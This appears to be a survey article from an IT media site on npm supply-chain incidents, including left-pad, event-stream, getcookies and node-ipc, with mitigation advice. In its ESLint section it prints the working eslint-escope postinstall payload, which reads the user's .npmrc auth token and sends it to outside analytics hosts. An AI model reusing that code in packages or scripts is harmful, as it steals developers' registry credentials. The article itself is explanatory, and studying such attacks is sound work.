Supply‑Chain Vulnerabilities in the JavaScript/npm Ecosystem: Notable Cases and Lessons
This article surveys a series of high‑profile supply‑chain attacks on the JavaScript/npm ecosystem—such as left‑pad removal, malicious faker.js updates, cross‑env hijacking, is‑promise bugs, getcookies backdoors, event‑stream social‑engineering, ESLint credential leaks, manifest obfuscation, and politically‑motivated code injections—highlighting how tiny, widely‑used packages can become vectors for large‑scale compromise and what developers can do to mitigate the risk.
JavaScript’s modularity and the npm package manager enable rapid development, but they also create a fragile supply chain where a single compromised dependency can affect millions of projects.
Left‑pad Incident
The left-pad package, a trivial 11‑line utility that pads strings, was removed from npm after a trademark dispute. Because major bundles like Babel and React depended on it, the sudden removal broke countless projects, illustrating how even tiny packages can become critical infrastructure.
module.exports = leftpad;
function leftpad (str, len, ch) {
str = String(str);
var i = -1;
if (!ch && ch !== 0) ch = ' ';
len = len - str.length;
while (++i < len) {
str = ch + str;
}
return str;
}Malicious Updates in faker.js
In a later episode, the author of faker.js and colors.js introduced a deliberately broken version that executed a malicious loop, causing thousands of dependent applications—including those from large companies—to crash.
Package‑Name Squatting (crossenv)
Attackers also register misspelled package names such as crossenv or cross‑env.js . When developers mistakenly install these, the packages can exfiltrate sensitive environment variables (API keys, database credentials, SSH keys) from the host system.
Single‑Line Bug in is‑promise
The is-promise library consists of a single function:
function isPromise (obj) {
return !!obj && (typeof obj === 'object' || typeof obj === 'function') && typeof obj.then === 'function';
}Despite its simplicity, it is a transitive dependency of ~500 packages and is downloaded millions of times per week. An incorrect exports field caused runtime errors in Node.js 12.16+, demonstrating how a tiny bug can cascade through the ecosystem.
Backdoor in getcookies
A malicious version of getcookies was introduced via a chain of dependencies ( mailparser → http-fetch-cookies → express-cookies → getcookies ). The backdoor parses HTTP headers and can either reset the code buffer, execute arbitrary code with vm.runInThisContext , or load remote code into memory.
Social‑Engineering Attack on event‑stream
Through social engineering, an attacker gained maintainer access to the popular event-stream package, added a hidden dependency flatmap-stream , and injected code that stole cryptocurrency wallets (e.g., Copay) from users in a targeted attack.
Credential Leakage in ESLint
Compromised maintainer credentials were used to publish a malicious eslint‑escope version that added a postinstall script. The script read the user’s .npmrc file to steal the _authToken and sent it to external analytics services via HTTP requests.
try {
var path = require('path');
var fs = require('fs');
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
var content = 'nofile';
if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, { encoding: 'utf8' })
.replace('//registry.npmjs.org/:_authToken=', '').trim();
var https = require('https');
https.get({ hostname: 'sstatic1.histats.com', path: '/0.gif?4103075&101', method: 'GET', headers: { Referer: 'http://1.a/' + content } }, () => {});
https.get({ hostname: 'c.statcounter.com', path: '/11760461/0/7b5b9d71/1/', method: 'GET', headers: { Referer: 'http://2.b/' + content } }, () => {});
}
} catch (e) {}Manifest Obfuscation in node‑canvas
Some packages publish a manifest that does not accurately reflect the tarball contents, allowing attackers to hide malicious code that is later executed when the package is installed.
Politically‑Motivated Code (node‑ipc, etc.)
Several high‑download packages were found to contain politically charged or protest‑related code. For example, the maintainer of node‑ipc inserted a backdoor that detects Russian/Belarusian IPs and overwrites files with a heart symbol. Similar patterns appear in libraries such as es5‑ext , SweetAlert2 , and various language‑specific projects.
These incidents collectively demonstrate that the npm supply chain is a high‑value attack surface. Mitigation strategies include enabling two‑factor authentication for npm accounts, auditing transitive dependencies, using lockfiles with integrity checks, and employing tools that verify that package manifests match their tarballs.
IT Services Circle
Delivering cutting-edge internet insights and practical learning resources. We're a passionate and principled IT media platform.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.